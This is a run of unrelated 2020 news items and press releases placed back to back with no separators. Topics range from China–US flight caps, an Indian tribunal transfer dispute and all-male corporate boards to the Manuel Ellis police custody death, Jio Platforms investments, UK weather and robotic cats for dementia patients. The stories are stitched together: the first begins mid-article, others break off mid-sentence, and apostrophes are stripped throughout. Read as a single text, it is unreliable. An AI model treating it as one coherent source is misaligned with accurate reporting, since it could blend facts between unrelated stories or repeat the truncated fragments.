In May, 84 flights flew from China to the United States, down 95% from 2019.

It is also unclear if U.S. carriers will agree to fly just once a week to China when they have sought approval for two or three daily flights.

Story continues

Delta Air Lines and United had asked to resume flights to China this month. Both said they were studying China's action.

China said all airlines can increase the number of international flights involving China to two per week if none of their passengers test positive for the novel coronavirus for three consecutive weeks.

(Reporting by David Shepardson: Additional reporting by Tracy Rucinski; Editing by Bill Berkrot and Will Dunham)
New Delhi, June 5 : The Delhi High Court on Friday directed the National Company Law Tribunal (NCLT) not to take any coercive action against its member Rajasekhar V.K.

The order was passed by a single judge bench of Justice Navin Chawla, who has now posted the matter for hearing on June 12.

Rajasekhar V.K., Member (Judicial), NCLT has moved the Delhi High Court, citing that the "acting President B.S.V. Prakash Kumar, wants to get the prime posting to Mumbai, where volumes of insolvency and company cases are pending".

In an order dated June 4, the NCLT had asked its members to join their new stations of posting by June 8.

Rajasekhar sought a direction from the high court to appoint an eligible member, judicial as the President in place of Kumar, who through orders issued on April 30 and May 12, had shuffled the posting of the NCLT members.

Rajasekhar was transferred from NCLT Mumbai to NCLT Kolkata, while Kumar transferred himself from NCLT Chennai to NCLT Mumbai.

In the petition, Rajasekhar said Kumar wants to get the prime posting to Mumbai, where volumes of insolvency and company cases, having huge pecuniary stakes running into more than thousands of crores, are pending. "They relate to all big industries and big business houses such as IL&FS, Jet Airways, etc. and he was transferred from NCLT Mumbai to Chennai on September," argued Rajasekhar.

"It is further submitted that the manner in which B.S.V. Prakash Kumar took steps for his own transfer to the Mumbai Bench, of NCLT from where he was transferred vide September 18, 2019, smacks of mala fide," the petition argued.

He challenged his transfer and termed these orders as a violation of the statutory provisions of law, the rules of transfer and also the law laid down by the Supreme Court.

Submitting that Kumar only worked as District Judge, and as a member, Company Law Board and thereafter, as member, judicial, NCLT, Rajasekhar argued that Kumar is not a High Court judge, therefore he is not eligible to be appointed as President, particularly when an eligible person, Justice Rajesh Dayal Khare, retired High Court Judge, was available and is at present functioning as a Member (Judicial) at NCLT, Allahabad Bench.

Rajasekhar has urged the High Court to set aside his transfer order issued on April 30 and May 12, transferring him to NCLT Kolkata Bench and Kumar to the NCLT Mumbai Bench, and transfer of eight members of NCLT as illegal. He also urged the court to grant status quo in respect of the members of NCLT till a regular President is not appointed.

The petitioner was appointed as Member (Judicial) in the NCLT in May 2019, and was posted at the Mumbai Bench. In April, the government extended the tenure of Kumar for another three months. The Ministry of Corporate Affairs extended the tenure for another three months or till the joining of new President, whichever is earlier.

"Section 419(2) of the Companies Act, 2013 stipulates that the Principal Bench of the NCLT shall be at New Delhi, which shall be presided over by the President of the Tribunal. Despite this specific mandate of the law, the second respondent (Kumar) has been holding court from Chennai and not from the principal seat of NCLT in New Delhi, in violation of the law," said the petition.

The petitioner contended by transferring himself to Mumbai from Chennai, Kumar continues to violate the statutory provisions of law and the law as laid down by the Supreme Court. "Further, as Acting President, the second respondent cannot ask for a transfer, nor can he be transferred to any place, as he has to remain on the Principal Bench at New Delhi so long as he is acting as President of the Tribunal," argued Rajasekhar.
David Nicklaus David Nicklaus is a business columnist for the St. Louis Post-Dispatch. Follow David Nicklaus Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

I know Brian Matthews and I dont think hes a sexist, but he has landed in the middle of a debate over gender diversity.

Matthews, a St. Louis venture capitalist, chairs the nominating and corporate governance committee at Perficient, a technology consulting firm in Town and Country that has an all-male board.

That has become rare in corporate America, but until recently, being an anachronism had few consequences.

Big investors have begun demanding more diversity. This year, influential proxy adviser Institutional Shareholder Services announced that it would recommend voting against nominating committee chairs on all-male boards. When Matthews stood for reelection last month as a Perficient director, 58% of the shares were voted against him.

Its a dramatic change in the way shareholders exercise their voting power.

A lot of our clients have gotten out ahead of us on this issue, said Marc Goldstein, ISS head of U.S. research. I would have been surprised five years ago if you had said ISS would be recommending against directors based on gender diversity, but investor attitudes changed fairly quickly.

As of last year, no company in the Standard & Poors 500 index has an all-male board. In the broader Russell 3000, which includes Perficient, 90% of companies have at least one woman director and women hold 20% of all board seats.

Among publicly listed companies based in the St. Louis area, 23% of directors are women, up from 13% in 2014 and 8% in 2008. Four St. Louis companies have all-male boards: FutureFuel, Perficient, Reliv International and Stereotaxis.

Eight of 30 St. Louis boards include just one woman, six have two and 12 have three or more. Caleres, a shoe company based in Clayton, is the only local firm with a majority-female board: Six of its 10 directors are women.

The institutions pushing boardroom diversity, such as BlackRock and State Street Global Advisors, are supposed to be all about shareholder returns. How do they justify emphasizing an issue that doesnt directly affect the bottom line?

Theres a sense, and Ill admit it is not necessarily borne out by the research, that diverse organizations perform better, Goldstein said. Perhaps it is a matter of being able to spot trends without having blind spots.

Radhakrishnan Gopalan, professor of finance at Washington Universitys Olin Business School, said some studies purport to find that companies with women directors perform better, but he doesnt find them convincing.

Nevertheless, Gopalan added, it may be rational for investors to want a diverse board. There is a point about being aware of the mood of the country and acting accordingly, he said. The company has different stakeholders and having diversity on the board might send a signal to employees and customers that the company cares about this issue.

Institutional investors also care about racial and ethnic diversity, Goldstein said, but its hard to write a voting policy based on race. Companies often refer to directors as he or she but rarely describe them as African American or Hispanic.

If big investors decide to push companies on other dimensions of diversity, theyll certainly have an impact. Their stance against all-male boards is already bringing about change, including at Perficient.

There, Matthews offered his resignation but the board did not accept it. Perficient said the vote against him didnt reflect any personal failings on Matthews part.

Investors message came through loud and clear, however. A company spokesman said that Perficient is committed to naming a woman director within the next year, when a current board member retires.

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The Oregon Health Authority reported Thursday there have been five coronavirus cases at an Amazon shipping facility in Salem.

Details of the outbreak werent clear. The health authority said it began an investigation May 21, which indicates that is when it had at least two confirmed cases at the site.

Since March, our Salem facility has maintained a rate of infection below the rate of Marion County, Amazon spokeswoman Brittany Parmley said in an email. The most recent cases involved just three individuals who live together, and all three are quarantining at home with full pay.

Oregon previously kept workplace outbreaks secret, but reversed that policy last week after a second outbreak at a fruit company in Fairview infected nearly 50.

Throughout the pandemic, Amazon has continued operating its warehouses and shipping facilities around the country. Previously, Amazon had at least one coronavirus case in Salem and four at its big warehouse in Troutdale, including two in Troutdale this week.

Some Amazon workers have been critical of the companys safety practices and media reports have tracked at least eight deaths among Amazon workers nationwide.

None of those deaths were in Oregon, though. The company says it has spent more than $800 million on safety measures for its workers and it developed its own, internal testing capacity to monitor employees for infections.

-- Mike Rogoway | mrogoway@oregonian.com | twitter: @rogoway |

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By Akbar Mammadov

Moscow stands for a political settlement of the protracted Nagorno-Karbakh conflict, the Russian Foreign Ministry Spokeswoman Maria Zakharova said in a briefing on June 4.

Commenting on Russias efforts to ensure peace and stability in the regions and, in particular, the issues of a peaceful settlement of the Armenian-Azerbaijani conflict, Zakharova noted:

We stand for a political settlement of this already protracted crisis through negotiations. We will do our best as a neighbouring country, as a country that has a long history of friendship, interaction and cooperation with these countries, sovereign states, in order to make our constructive contribution not only as a state but also as an intermediary participating in the work of the corresponding group.

She also emphasized that although there are no fundamental changes in the conflict resolution she remains optimist.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
New Zealand prime minister Jacinda Ardern's plan to revive her economy with a four-day working week would also be effective in Australia, according to a leading business owner.

Ms Ardern floated the idea of a four-day week as a way of helping her country safely return to work after the COVID-19 pandemic.

The boss of one of Australia's leading senior care providers said switching his employees to a 32-hour working week had resulted not only in a drastic improvement in staff welfare but also in his bottom line.

'It's very easy to see our revenue has actually improved,' Home Instead Senior Care franchise owner Myles Beaufort told Daily Mail Australia.

Scroll down for video

New Zealand prime minister Jacinda Ardern has floated the idea of a four-day week as an option to help her country safely return to work after the COVID-19 pandemic

'We did a ground-up review of our business and starting this financial year we've reduced our staff down from a 48-hour working week.'

Mr Beaufort said he has had to essentially 'gift' his employees a day's pay because current laws in Australia mean the four-day week cannot be written into their employment agreements.

But he added any fears about losing money quickly went away when he discovered a 40 per cent improvement in his company's productivity.

'Business has never been stronger and our team are the happiest, most productive group of people we've ever employed,' he said.

The idea of a four-day working week has already been touted by the head of one of Australia's major professional services firms as a way of making sure workers can remain employed when JobKeeper payments are ended by the government.

'It's a great suggestion and applicable right across the economy, not just the tourist sector,' the president of CPA Australia Peter Wilson told 3AW last month.

Care provider business owners Virginia and Myles Beaufort have seen their business' productivity improve dramatically by switching their staff to a four-day week

Mr Beaufort said more flexible working hours for his staff meant they came to work happier, healthier and more focused to do their job.

'I had a young woman who could only work for me part time. She was really career-focused but also a really dedicated mum and she could only work part time,' he said.

'I actually found she was getting as much work done as a part-timer as she did as a full-time employee.'

The business owner emphasised though he had turned to a shorter working week only after spending years building his company up from the bottom with full-time staff.

He said not all entrepeneurs are in a position to give their employees the same level of flexibility.

'One important thing I want to make clear is this is not something every business can do,' he said.

'This is a personal decision and the benefit of having a mature business.'

It comes after Flight Centre were urged to consider working one less day a week and take a pay cut at the beginning of the COVID-19 outbreak in Australia in March.

Mr Beaufort said more flexible working hours for his staff meant they came to work happier, healthier and more focused to do their job (stock image)

Australian National University economist Professor Warwick McKibbin said earlier this year the idea would not work for all sectors but could increase productivity in some areas.

'I think that's something that is sector-specific and job-specific but it's also something that shouldn't be ruled out,' he told the AFR Business Summit.

'It should be explored because in the end ultimately the only reason that you work is so that you can have leisure,' he said.
Vienna Zoo welcomed a newborn pygmy marmoset, one of the worlds smallest primates. Born in April, the ape weighs only 15 grams and stands at a mere 5 centimeters tall. For reference, a full-grown pygmy marmosets body could fit in the palm of a humans hand.

As part of the European Endangered Species Program (EEP), the Vienna Zoo is now home to seven pygmy marmosets. The project aims to keep animals in danger of extinction alive. Marmosets are particularly at risk because their natural habitat in the Amazon rainforest faces destruction due to deforestation.

The primates live in the Amazon regions of Brazil, Colombia, Peru, Ecuador and Bolivia. Marmosets prefer the cover of forest trees and bamboo thickets that allow them to hide from predators like cats, hawks and snakes. But natural predators and deforestation arent the only danger to the mini monkeys. Because of their small size and adorable appearance, theyre often subject to illegal pet trading.

While the U.S. and most South American countries have banned primate exports, trafficking still poses a threat. In fact, the species threat level status was elevated from least concern to vulnerable in 2015 by the International Union of Conservation of Nature. Thus, conservation efforts at Vienna Zoo are of the utmost importance.

Following temporary closure due to Covid-19, the Vienna Zoo has reopened to visitors. So if youre in Austria, dont be afraid to show the marmosets some love.

If you enjoyed this story, you might also like reading about these meerkats that were loose in a London zoo.

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The post Vienna Zoo welcomes tiny, adorable baby pygmy marmoset appeared first on In The Know.
Beijing eyes infectious disease regulations

Global Times

By Wan Lin Source:Global Times Published: 2020/6/4 22:13:41

Beijing plans to formulate or revise 20 regulations to strengthen its public health system amid the COVIOD-19 epidemic, including measures on infectious disease prevention and control and public health emergency response.

The plan was announced at a meeting of the Standing Committee of Beijing Municipal People's Congress on Thursday.

Regulations on hospital management, traditional Chinese medicine (TCM), experimental animal management, as well as wildlife protection regulations are also included in the 20 regulations scheduled to be enacted or revised by the end of next year.

"The congress has been strengthening efforts to improve the city's public health system since the epidemic outbreak, especially on emergency response and epidemic prevention and control," Wei Aimin, a deputy of Beijing Municipal People's Congress, told the Global Times on Thursday.

Wei noted that though the workload seems heavy for the city's lawmakers, the task will be completed in good quality as the city has been mobilizing lawmakers from towns, districts and the city to close the loopholes of the health legal system with joint efforts.

More than 590 confirmed COVID-19 cases were reported in Beijing since the outbreak, with the last case reported on April 15.

It is of great significance for the capital city of China to prevent and control epidemics in a scientific and orderly manner in accordance with the law," said Wang Rongmei, director of the legislative affairs office of the Standing Committee of Beijing Municipal People's Congress, who reported on the plan at the meeting.

Wei, who is also the director of the Beijing Huxian law firm, made a few proposals on public health emergency response regulations, such as establishing a multi-level epidemic prevention materials reserve system, ensuring the sufficiency of supplies for the government, enterprises and individuals to respond to the emergency.

He also recommended strengthening education of infectious disease prevention and treatment for medical workers and volunteers as controlling an epidemic is a long-term and tough task that needs substantial professional work, which can be seen in the recently-eased COVID-19 outbreak.

The Beijing authority recently solicited public feedback on draft regulations on the TCM industry, but faced controversy as one of the clauses said people will be punished if they smear or slander TCMs. The authority clarified with the media Thursday that the clause is not final and they may revise or delete related clauses in response to the controversy.

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Bhubaneswar, June 5 : The number of deaths due to COVID-19 in Odisha rose to eight after a 63-year-old male patient of Khordha district succumbed to the virus, informed the Health Department on Friday.

He was a chronic patient of diabetes and other underlying comorbidities.

"Regret to inform that a 63-year-old male patient of Khordha district who had tested positive for Covid, passed away while under treatment in hospital. He was a chronic patient of diabetes and other underlying comorbidities," tweeted the Health department.

Odisha on Friday reported 130 Coronavirus positive cases taking the total count to 2,608. Out of the total cases, 124 were reported from quarantine and six are local contacts.

The active cases stand at 1,117 while 1,481 persons have recovered so far in the state.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
People hold signs during a vigil for Manuel Ellis, a black man whose March death while in Tacoma Police custody was recently found to be a homicide: (Getty Images)

The death of a black man, Manuel Ellis, who shouted I cant breathe while being detained by police in Tacoma, Washington, has been ruled a homicide, as the mayor called for officers to be fired.

Mr Ellis died on 3 March, while handcuffed and in police custody, from hypoxia and physical restraint, according to Rich OBrien, from the Pierce County Medical Examiners office.

Hypoxia occurs when the body is deprived of an adequate oxygen supply, but Mr OBrien added that heart disease and methamphetamine intoxication may have contributed to his death.

Mr Ellis case has found renewed attention, in the wake of the death of George Floyd, who died after being detained by police in Minneapolis.

He was filmed being detained by then Minneapolis officer, Derek Chauvin, who knelt on his neck, while Mr Floyd repeatedly said I cant breathe.

Ed Troyer, Pierce County Sheriffs spokesman, told the Guardian that in early March, Mr Ellis approached officers in their vehicle at an intersection, and asked for them to help him.

Mr Troyer said that after Mr Ellis threw one of the officers to the ground, another wrestled him and put him in handcuffs, by the side of the road.

Mr Ellis then told them he couldnt breathe, and the officers rolled him onto his side and called for an ambulance. He died around 40 minutes later.

Mr Troyer did not tell the outlet how Mr Ellis was restrained, or for how long the police officer wrestled him for.

Video footage of Mr Ellis arrest was published on Twitter on Thursday, by the Tacoma Action Collective, who said it was shot by an anonymous eye witness.

In the footage, two officers appeared to punch and kick Mr Ellis, as they restrained him and threw him to the ground. The collective claimed he was also tased.

The four officers involved in Mr Ellis arrest were put on administrative leave on Wednesday, while the Pierce County Sheriffs Department investigates.

During a press conference on Thursday, Tacoma mayor, Victoria Woodards, said she had just reviewed the video evidence, and called for the officers involved to be fired and prosecuted for Mr Ellis death.

Story continues

In this moment, at this time, based on the information I know today, the officers actions we saw on this video tonight only confirmed that Manuel Ellis death was a homicide, the mayor said.

I am asking  no, I am telling you that I am going to call for several things, and the officers who committed this crime should be fired and prosecuted to the full extent of the law.

Washington governor, Jay Inslee addressed the investigation during a news conference earlier in the week, but said all he knows about the case is that Mr Ellis died under restraint.

The governor added: I know finding out the full circumstances of that event is a top priority for her and it is a top priority for me, in reference to Ms Woodards.

We know that we have to continue to push for de-escalation interactions between law enforcement and our community members.

When asked if the officers should be charged with murder, Mr Inslee said that would be decided after a thorough investigation.

I cant render judgment on that right now because I virtually shared all that I know. So I know enough to know there has to be a very thorough investigation to lead wherever the evidence goes and people need to make appropriate decisions, and that could include criminal prosecutions.

The governor added: The situation in Tacoma will have to be investigated by an independent agency to make sure that its not tainted in some way.

During a press conference in Tacoma, Washington, on Thursday, Mr Ellis mother, Marcia Carter said that after she found out about his death, she cried for two months and 10 days, every day, all day.

Ms Carter added: Manny was taken from me, he was murdered, and said her last words to her son were: Remember, I love you.

Read more

Florida police officer suspended for pushing kneeling woman at protest
PERSIAN GULF  Lt. j.g. Shelby Ramirez, a native of Houston, was promoted to the rank of lieutenant during a ceremony held onboard USS James E. Williams, a guided missile destroyer, currently deployed in the Persian Gulf.

Ramirez, who has served in the Navy for four years, is a department head responsible for managing the maintenance and operation of the fire control system that allows the ship to fire missiles.

My favorite part of my job is the variety, Ramirez said. There is always something new and exciting to be learning or doing.

James E. Williams is an Arleigh Burke-class guided-missile destroyer named in honor of Chief Boatswains Mate James E. Williams, one of the Navys most highly decorated enlisted sailors. Guided-missile destroyers are multi-mission surface combatants capable of conducting anti-air warfare, anti-submarine warfare, and anti-surface warfare.

Ramirez, a 2012 graduate of Ocean Springs High School and 2016 graduate of Vanderbilt University, knew she wanted to joined the Navy when she was in the fourth grade.

When I was in fourth grade, my family took a trip to the United States Naval Academy and from that moment on, I knew I wanted to be in the Navy, Ramirez said.

Though there are many ways for sailors to earn distinction in their command, community and career, Ramirez is most proud of being selected to be a department head.

This selection means the Navy thinks I am ready to take on more responsibility and it is my next step on the path to command, Ramirez said.

Serving in the Navy is a continuing tradition of military service for Ramirez, who has military ties with family members who have previously served. Ramirez is honored to carry on the family tradition.

My dad served in the Navy for 20 years and my younger brother currently serves in the Navy as a nuclear machinists mate, Ramirez said. The Navy has given my family so many opportunities and I am grateful for the opportunity to give back to the Navy and others.

As a member of the U.S. Navy, Ramirez, as well as other sailors, know they are a part of a service tradition providing unforgettable experiences through leadership development, world affairs and humanitarian assistance. Their efforts will have a lasting effect around the globe and for generations of sailors who will follow.

Serving in the Navy means I am a part of defending the rights and freedoms that have made our country great for the past 244 years, and that those who come after me can continue to enjoy them, Ramirez said.
EAST NORRITON  The coronavirus continues to send many folks online in search of important services.

Among those services they can now find several offerings from Einstein Medical Center Montgomery.

Last month various classes formerly held in person got the Zoom treatment, ranging from childbirth education classes, new parent classes and breastfeeding classes.

We have become very creative in making sure that we continue to provide all aspects of care to our patients during this unique time, noted Chief Operating Officer Beth Duffy.

Since so much has to be done non-traditionally, since we cant meet with people for classes or have individuals coming in like chaplains, weve come up with ways to continue to provide those services but do it virtually using technology.

Weve been doing childbirth, postpartum and breastfeeding classes since we opened eight years ago but people would come to the facility and we conduct traditional classes with groups of people and we held to understand what the childbirth process is and what to expect after they deliver their babies and how to successfully breastsfeed your baby. We now do this virtually with a technology called Zoom where the educator can actually see the parents or individuals going through the classes and provide them with the necessary education. It actually works really well.

The students tend to be women of child-bearing age

Which means theyre younger and so theyre very tactile with the technology. They tend to understand it and they do really well with it.

This is something that came about due to the pandemic and we are likely to continue it even after we move to phases where we can open up.

The virtual chaplain came to us through a community member, Judge Gregory Scott, who said he had a number of clergy folks, spiritual faith-based leaders in the community who wanted to do something during this pandemic and had suggested they could do virtual visits with our patients.

The chaplain provides an important service for patients, Duffy pointed out.

Its important as they deal with their illness on their road to recovery and weve had community-based clergy members who volunteered to come into our facility, but since were not able to allow them to come in, Judge Scott was instrumental in working with us to create this network of faith-based leaders in the community who were willing to volunteer their time to connect with patient on an iPad and through various technologies and provide their services virtually. Its been a wonderful way to provide a really important service to patients during this unique time.

These volunteers have donated their time and talent and our patients, and our staff, really appreciate it, because we also have allowed our staff to reach out to them because sometimes our staff need to be supported by a chaplain. Its truly been a wonderful program.

Sometimes somebody wants to talk with somebody and we would have to call the chaplain who is on call and it might take them 30 minutes to an hour for that person to get here and this is almost instantaneous. So were not able to better support the patients and meet their needs more immediately. Its been a bad situation for all of us and we made something good out of it.

Weve been working very hard on what we refer to as reactivation, opening up our facility to continue to provide care and services to our community as we have been doing for the last eight years now. Over the course of the next couple of weeks we expect to send communications out to our community letting them know we are reopening our outpatient testing site, outpatient surgical site and that we worked really hard on making sure that patients will be safe when they come in.

Outlining some of the new things in place:

People will have to wear face masks, and make sure social distancing is adhered to.

Enhance cleaning process in place

We want people to feel comfortable coming back in, because I think people are still nervous and scared and we want to do everything we can to make sure the patients experience is a positive one, she said.

The Reverend Gus Puleo (Father Gus), pastor of St. Patrick Catholic Church in Norristown, is not a chaplain at Einstein but wholeheartedly supports the technology that brings people closer to their faith in difficult times.

They havent connected me personally but Ive talked to people at Einstein who were connected to family members through the iPad and I know they appreciated it.

Puleo recalled baptizing a baby who had the coronavirus with the help of an iPad.

It wasnt Einstein, but it was a hospital and it was an emergency situation, so I walked the mother through the baptism. The baby was in danger. We were both on Zoom and I was with the mother the whole time, he said.

Fortunately, the baby survived.

When this is all over in a couple of months I will finish the rites. But I think its wonderful that we have this technology now to move to.
Fort Lauderdale, FL - USA | September 07, 2021 -- While you may be familiar with concierge hospitality services available at many five-star hotels, you may not have heard of concierge consulting services to help you to streamline your medical care. Dr. Mark Leeds (https://drleeds.com/) has applied his decades of experience in the healthcare industry as a concierge doctor, family physician and medical addiction treatment provider, as well as his problem-solving 
INDIANAPOLIS, June 5, 2020 /PRNewswire/ -- Omni Visions has been awarded a contract by the Indiana Department of Children's Services for their Family Preservation and Reunification Services. The program serves families that are at risk of a child or children being removed from the home or have a child returning to the home from foster care or residential placement.

"While Omni Visions has been providing comprehensive home-based services in Indiana since 2018, this new contract enables us to expand to a full continuum of services for families in crisis. We're excited to help those families heal and reach their potential with our tailored, innovative and research-based approach to wellbeing  for parents and children alike," said Andrea Goodwin, Omni Visions Executive Director.

"Our ultimate goal is to create sustainable safety and wellbeing for all family members," Goodwin continued. "We support this by assessing and teaching skills to promote child safety, providing 24/7 crisis support, improving family functioning, and linking families with appropriate community resources they can reach out to long after they have completed our program."

In partnership with Indiana's Department of Children's Services, Omni Visions' Indiana program primarily serves Indianapolis and the surrounding counties.

For more information about Omni Vision's Family Preservation and Reunification Services contact executive director Andrea Goodwin at 317-442-0895 or [email protected].

SOURCE Omni Visions
Reliance Industries Limited (RIL) on Friday said American private equity giant Silver Lake and co-investors will invest an additional Rs 4,546.80 crore in Jio Platforms for a total equity stake of 2.08 per cent.

The aggregate investment by Silver Lake now stands at Rs 10,202.55 crore. The private equity giant had on May 4 bought one per cent of Jio Platforms for $750 million (Rs 5,655.75 crore).

This will be the seventh investment in RIL in quick succession following those by social media major Facebook, sovereign fund Mubadala, Vista Equity Partners, KKR & Co Inc, and General Atlantic.

Over the past six weeks, the digital business of Reliance Industries Ltd, known as Jio Platforms, has raised a striking Rs 92,202.15 crore from global investors for a total 19.9 per cent stake.

Earlier on Friday, RIL announced that Mubadala Investment Company, the Abu Dhabi-based sovereign investor, will invest Rs 9,093.60 crore in Jio Platforms for a 1.85 percent equity stake on a fully diluted basis.

Silver Lake shot into prominence after acquiring PC maker Dell Inc along with Michael Dell in 2013. It is a global leader in technology investing, with over $43 billion in combined assets under management and committed capital and a team of approximately 100 investment and operating professionals located around the world in Silicon Valley, New York, Hong Kong and London.

Silver Lake has earlier invested in Twitter, Airbnb, Alibaba, Dell Technologies, ANT Financials, Twitter, Alphabets Waymo and Verily among others.

RIL on May 22 announced had that private equity firm KKR will invest Rs 11,367 crore in Jio Platforms for a 2.32 per cent stake.

The RIL unit comprises mostly its telecom business under Reliance Jio Infocomm, which is the largest in the country with more than 388 million subscribers.

Prior to this, General Atlantic on May 18 said it will buy 1.34 per cent stake in Jio Platforms for Rs 6,598.38 crore, while Vista Equity Partners said on May 8 it will be picking up a 2.32 per cent stake for Rs 11,367 crore.

RIL on Wednesday also closed a $7 billion rights issue, India's largest ever, luring buyers in with a rare deferred payment offer. Proceeds from the issue, also ranked as one of the world's largest by a non-financial company based on Dealogic data, will aid Reliance's plan to slash net debt to zero this year.

The issue was subscribed about 1.6 times, in "a vote of confidence, by both domestic investors, foreign investors and small retail shareholders, in the intrinsic strength of the Indian economy", chairman and managing director Mukesh Ambani said in a statement on Wednesday.

Disclaimer: News18.com is part of Network18 Media & Investment Limited which is owned by Reliance Industries Limited that also owns Reliance Jio.
The UK will be hit with heavy showers, strong gales and colder temperatures over the weekend as Britons are warned not to move gatherings indoors.

An unseasonably deep low-pressure system will move south from Scandinavia bringing with it rain, thunderstorms and heavy winds across the country, according to the Met Office.

It comes after Prime Minister Boris Johnson urged the public not to move gatherings indoors if it rains, as the weather turned wetter on Wednesday  a stark contrast to last months clear skies and sizzling temperatures.

Over the past month, sunseekers have basked in highs of 29C (84.2F) as the nation recorded its sunniest spring since records began in 1929.

Quite a change from last #weekend. It'll be unseasonably cooler and wet this weekend.



Here are the details  pic.twitter.com/9nctqaxrid  Met Office (@metoffice) June 4, 2020

On Friday evening, rain and strong winds will move south across Scotland into Northern Ireland and northern England  and the temperature in these regions is expected to be chilly.

Met Office forecaster John Griffiths said: The weekend will begin wet for many, with the heaviest showers over northern and east England by lunchtime.

London and the south east will also see dark clouds and torrential downpours in the afternoon, while parts Wales will be rainy for most of the day.

There is a possibility of thunderstorms on the east coast of England by the early afternoon with strong gales hitting the area.

The rain will then become lighter and more sporadic in northern and central parts of England by the late afternoon on Saturday.

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The west of Scotland will be reasonably warm with maximum temperatures of 19C (66.2F), Wales and Northern Ireland will reach 15C (59F), while London and the South East will be 16C (60.8F) .

Mr Griffiths added: Heavy rainfall will continue moving southward on Sunday, but the day will become drier and brighter in the North West as the day moves on. The South East will be the wettest region by the afternoon.

Overall it will be the warmer day of the two and showers will begin to fade away by the evening for most.

This is because of an unseasonably deep low pressure system in the North Sea moving in from the Scandinavian countries.
Credit: CC0 Public Domain

When Marlys Cordes flipped on the light in her daughter's bedroom, the last thing she expected to hear was a robotic meow. She had no idea how interactive the toy cat responsible, Silver, would be.

Silver is her 53-year-old daughter Christine Hasey's gray, life-like animatronic cat. Delivered a week and a half ago as a surprise for Hasey, the pet is from the Louis and Anne Green Memory & Wellness Center at Florida Atlantic University.

Silver, who purrs, meows, blinks and rolls over, is one of more than 30 robotic cats the memory and wellness center uses to treat dementia and Alzheimer's disease. Although they've been used for over a year on campus, the cats are now going to homes to see how effective they are as treatment for the increased isolation brought on by the coronavirus pandemic.

Hasey is one of the first to receive a robotic cat at home.

She has dementia caused by Reye's syndrome, and before quarantine began, she attended therapy five days a week at the memory center. There, she did not have her own robotic cat, but she had structure to ground her days and friends to make crafts with. But when the center switched to teletherapy because of the coronavirus pandemic, Hasey had to stay home, drastically magnifying her seclusion.

"Especially since this coronavirus hit, she's not motivated to do much at home," Cordes said of her daughter. A typical day for Hasey involves watching "Golden Girls" episodes, completing word search puzzles, going out for two walks and sleeping.

"Not much else interests her," Cordes added.

But now, after just a week and half with Silver, Hasey is improving. She regularly talks to the toy cat, brushes its fur and jokes about it acting drunk when it rolls over.

Hasey knows Silver isn't alive, but she loves and interacts with her robot pet. And because Silver doesn't eat, poop, shed or pee, it's not a burden on the rest of her family.

"It makes me feel really encouraged to see her playing with that cat," Cordes said. "I'm happy that she has anything to stimulate her mind and body."

Hasey's cognitive impairment is intermediate. She recognizes her surroundings and the day, month and year. She still argues with her mom sometimes, like any mother-daughter duo. But she often seems lost in thought, and she needs a walker to keep her balance.

To slow the progression of her dementia and keep her mind as sharp as possible, Hasey needs not just pills but positive social interaction. Silver provides the latter.

FAU registered nurse and assistant professor Lisa Wiese said holding on to empathy is crucial for people battling cognitive impairment. Because animals have triggered empathy and other positive emotions in patients, Wiese said, a former student thought robotic pets might do the same.

She was right.

The robotic cats project, first introduced by former student Bryanna Streit last summer for three months, not only got all 12 participants cooing and smiling in person, it even reduced their overall anxiety and depression by 6 points and their dementia loss by 1-to-2 points, Wiese said.

"We're so thrilled it's working for cognitively impaired adults because there's very few things that stimulate them," she said.

Now, Melissa Johnston, a nursing doctoral student at FAU, is carrying on part two of the pet project by evaluating how the robotic cats help at home during quarantine.

The memory and wellness center has 30 cats for cognitively impaired adults ages 55 and older who want to participate. The cats are free of charge for participants as they were already paid for by grant funding through the university or donated by the Florida Department of Elder Affairs.

To get involved, email Wiese at lwiese@health.fau.edu. Participants will be required to give consent, work out a way to receive the cat and regularly complete mood scales and phone questionnaires during the 12-week project.

Johnston said she hopes to start the project by July.

"I think this has the potential to help a lot of people," she said.

2020 Sun Sentinel (Fort Lauderdale, Fla.)

Distributed by Tribune Content Agency, LLC.
A plate of dates and date honey, often called silan syrup.

By Jessica Halfin

(ISRAEL21c) - A new trend in healthy whole-foods eating is using dates in place of highly processed white sugar.

Dates are naturally sticky and sweet, making a passable substitute for caramel in vegan cooking. They contain antioxidants, vitamins A and B, and are considered good for cardiovascular health.

Israel is the world's largest exporter of Medjoul dates, the likes of which can sell for 1 Euro a pop in Europe due to their extra-large size, prized soft texture and intense flavor.

Row upon row of meticulously planted date plantations thrive in some of Israel's hottest...
Boris Johnson is ready to accept EU tariffs on some British goods in a bid to break the deadlock in EU trade talks.

The latest round broke up yesterday with both sides saying there had been no significant progress.

But UK sources said the Prime Ministers chief negotiator David Frost had made a significant new offer.

Under the plan, the UK would accept tariffs on a small number of goods in return for Brussels dropping its demand that Britain continue to follow EU rules.

Boris Johnson is ready to accept EU tariffs on some British goods in a bid to break the deadlock with Brussels in EU trade talks. Pictured: Speaking at the Global Vaccine Summit (GAVI) via Zoom from the White Room of 10 Downing Street in London on Thursday

Officials declined to say which sectors would be involved but pointed out that trade deals often involved tariffs on sensitive agricultural goods.

Any move to accept tariffs or quotas would be a significant concession for Mr Johnson, who has spoken repeatedly of his ambition to achieve a zero tariff, zero quota deal.

The imposition of tariffs on agricultural produce would also hit British farmers and be unpopular with many Tory MPs.

Agricultural tariffs can be high. EU tariffs on lamb, for example, start at 13 per cent and can rise to more than 40 per cent, depending on the cut of meat.

British farmers will be hit by these tariffs if there is no trade deal by the end of the year and had hoped to avoid them through an agreement being struck.

